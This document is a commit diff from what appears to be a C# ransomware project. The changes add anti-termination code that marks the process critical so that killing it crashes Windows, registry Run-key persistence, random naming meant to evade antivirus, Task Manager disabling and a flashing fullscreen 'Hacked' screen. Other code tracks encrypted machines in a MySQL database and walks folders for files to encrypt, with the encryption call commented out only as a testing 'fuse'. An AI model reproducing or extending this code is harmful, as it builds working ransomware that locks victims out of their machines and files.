@@ -24,6 +24,25 @@ public Form1()
24
24
InitializeComponent ( ) ;
25
25
}
26
26
27
+ bool debug = Properties . Settings . Default . debug ;
28
+ public static class Make
29
+ {
30
+ [ DllImport ( "ntdll.dll" , SetLastError = true ) ]
31
+ private static extern void RtlSetProcessIsCritical ( UInt32 v1 , UInt32 v2 , UInt32 v3 ) ;
32
+
33
+ public static void ProcessUnkillable ( )
34
+ {
35
+ Process . EnterDebugMode ( ) ;
36
+ RtlSetProcessIsCritical ( 1 , 0 , 0 ) ;
37
+ }
38
+
39
+ public static void ProcessKillable ( )
40
+ {
41
+ RtlSetProcessIsCritical ( 0 , 0 , 0 ) ;
42
+ }
43
+ }
44
+
45
+
27
46
public void Log ( string text , string title )
28
47
{
29
48
try
@@ -36,24 +55,95 @@ public void Log(string text, string title)
36
55
} catch { }
37
56
}
38
57
58
+ private void RegisterStartup ( bool isChecked )
59
+ {
60
+ try
61
+ {
62
+ RegistryKey registryKey = Registry . CurrentUser . OpenSubKey
63
+ ( "SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" , true ) ;
64
+ if ( isChecked )
65
+ {
66
+ registryKey . SetValue ( Properties . Settings . Default . application_name , Application . ExecutablePath ) ;
67
+ }
68
+ else
69
+ {
70
+ registryKey . DeleteValue ( Properties . Settings . Default . application_name ) ;
71
+ }
72
+ }
73
+ catch ( Exception ex )
74
+ {
75
+ Log ( ex . Message , "RegisterStartUp" ) ;
76
+ }
77
+ }
39
78
40
- private void Form1_Load ( object sender , EventArgs e )
41
- {
79
+ private void setup ( )
80
+ {
42
81
// Check if Encryption/Decryption Key was ever created on that machine
43
- if ( Properties . Settings . Default . key . Length != 34 )
82
+ if ( Properties . Settings . Default . key . Length != 34 )
44
83
{
45
84
Properties . Settings . Default . key = Crypto . GetRandomString ( 34 ) ;
46
85
Properties . Settings . Default . Save ( ) ;
47
86
Properties . Settings . Default . Reload ( ) ;
48
87
49
- write ( "Generated key: " + Properties . Settings . Default . key ) ;
88
+ if ( debug == true )
89
+ {
90
+ write ( "Generated key: " + Properties . Settings . Default . key ) ;
91
+ }
92
+
93
+ }
94
+ else
95
+ {
96
+ if ( debug == true )
97
+ {
98
+ write ( "Key is: " + Properties . Settings . Default . key ) ;
99
+ }
100
+ }
101
+
102
+
103
+ // Check if Application name is already set. If not, generate one
104
+ // This should be random to try to be undetected from Anti-Virus
105
+ if ( Properties . Settings . Default . application_name . Length != 12 )
106
+ {
107
+ Properties . Settings . Default . application_name = Crypto . GetRandomString ( 12 ) ;
108
+ Properties . Settings . Default . Save ( ) ;
109
+ Properties . Settings . Default . Reload ( ) ;
110
+
111
+ if ( debug == true )
112
+ {
113
+ if ( debug == true )
114
+ {
115
+ write ( "Generated Application Name: " + Properties . Settings . Default . application_name ) ;
116
+ }
117
+
118
+ Log ( "Generated Application Name: " + Properties . Settings . Default . application_name , "Form1_Load > Generate Application Name" ) ;
119
+ }
120
+
121
+ }
122
+ else
123
+ {
124
+ if ( debug == true )
125
+ {
126
+ write ( "Key is: " + Properties . Settings . Default . key ) ;
127
+ }
128
+ }
129
+
50
130
131
+ // Make the process unkillable. It process is terminated,
132
+ // A bluescreen will appear.
133
+ if ( Properties . Settings . Default . unkillable == true )
134
+ {
135
+ Make . ProcessUnkillable ( ) ;
136
+ }
137
+ else if ( Properties . Settings . Default . unkillable == false )
138
+ {
139
+ Make . ProcessKillable ( ) ;
51
140
}
52
141
else
53
142
{
54
- write ( "Key is: " + Properties . Settings . Default . key ) ;
143
+ Log ( "Unable to detect setting for making application unkillable" , "Form1_Load > Unkillable" ) ;
55
144
}
56
145
146
+
57
147
// If disable_taskmgr is true, disable task manager. else, enable.
58
148
if ( Properties . Settings . Default . disable_taskmgr == true )
59
149
{
@@ -79,6 +169,61 @@ private void Form1_Load(object sender, EventArgs e)
79
169
}
80
170
81
171
172
+ // Check what kind of theme is selected. You can find more information about this in Github Wiki
173
+ if ( Properties . Settings . Default . theme == "default" )
174
+ {
175
+ panel_theme_flash . Visible = false ;
176
+ panel_theme_flash . Enabled = false ;
177
+ }
178
+ else if ( Properties . Settings . Default . theme == "flash" )
179
+ {
180
+ // Set Window to be Fullscreen and overlap
181
+ this . WindowState = FormWindowState . Maximized ;
182
+ this . FormBorderStyle = FormBorderStyle . None ;
183
+
184
+ // Enable the Panel Control and make it fill the Screen
185
+ panel_theme_flash . Visible = true ;
186
+ panel_theme_flash . Enabled = true ;
187
+ panel_theme_flash . Dock = DockStyle . Fill ;
188
+
189
+ // Position the Label and set its Text
190
+ label_theme_flash . Text = "Hacked" ;
191
+ label_theme_flash . Font = new Font ( label_theme_flash . Font . FontFamily , this . Height / 16 , label_theme_flash . Font . Style ) ;
192
+ label_theme_flash . Location = new Point ( ( panel_theme_flash . Width / 2 ) - ( label_theme_flash . Width / 2 ) , ( panel_theme_flash . Height / 2 ) - ( label_theme_flash . Height / 2 ) ) ;
193
+
194
+ // Setting up the Timer and the method
195
+ timer_theme_lash . Enabled = true ;
196
+ timer_theme_lash . Interval = 1000 ;
197
+ timer_theme_lash . Tick += new EventHandler ( timer_theme_flash_tick ) ;
198
+ }
199
+ }
200
+
201
+ private void timer_theme_flash_tick ( object sender , EventArgs e )
202
+ {
203
+ // Switches the Color of the Panel and Label
204
+
205
+ Color backcolor = Color . Red ;
206
+ Color forecolor = Color . Black ;
207
+
208
+ if ( panel_theme_flash . BackColor == backcolor )
209
+ {
210
+ panel_theme_flash . BackColor = forecolor ;
211
+ label_theme_flash . ForeColor = backcolor ;
212
+ }
213
+ else
214
+ {
215
+ panel_theme_flash . BackColor = backcolor ;
216
+ label_theme_flash . ForeColor = forecolor ;
217
+ }
218
+ }
219
+
220
+ private void Form1_Load ( object sender , EventArgs e )
221
+ {
222
+ // Check if generated Strings are set like Application Name, Encryption Key, etc...
223
+ setup ( ) ;
224
+ RegisterStartup ( true ) ;
225
+
226
+
82
227
// Simple "Styling"
83
228
this . ShowInTaskbar = false ;
84
229
this . Text = "" ;
@@ -92,11 +237,12 @@ private void Form1_Load(object sender, EventArgs e)
92
237
label1 . Text = Properties . Settings . Default . application_title ;
93
238
94
239
// Center Visuals
95
- panel_main . Location = new Point ( this . Width / 2 - panel_main . Width / 2 , this . Height / 2 - panel_main . Height / 2 ) ;
96
240
label1 . Location = new Point ( panel_main . Width / 2 - label1 . Width / 2 , label1 . Location . Y ) ;
241
+ panel_main . Location = new Point ( this . Width / 2 - panel_main . Width / 2 , this . Height / 2 - panel_main . Height / 2 ) ;
97
242
98
243
string deviceId = "" ;
99
244
245
+
100
246
try
101
247
{
102
248
// Generate Devive ID for Database to identify encrypted machines
@@ -109,9 +255,11 @@ private void Form1_Load(object sender, EventArgs e)
109
255
}
110
256
catch ( Exception DeviceIdError )
111
257
{
112
- Log ( DeviceIdError . Message , "Form1_Load > DevideId " ) ;
258
+ Log ( DeviceIdError . Message , "Form1_Load > DeviceId " ) ;
113
259
}
114
260
261
+
262
+ // Connection String for MySQL Connection, if enabled.
115
263
string myConnectionString = "SERVER=" + Properties . Settings . Default . db_host + ";" +
116
264
"DATABASE=" + Properties . Settings . Default . db_database + ";" +
117
265
"UID=" + Properties . Settings . Default . db_user + ";" +
@@ -222,7 +370,9 @@ private void ShowAllFoldersUnder(string path, int indent)
222
370
223
371
if ( validExtensions . Contains ( ext . ToLower ( ) ) )
224
372
{
225
- //Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
373
+ // This now acts like a fuse so you dont accidentaly encrypt your own hard drive while testing.
374
+ // Srly... use a VM
375
+ // Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
226
376
227
377
try
228
378
{
0 commit comments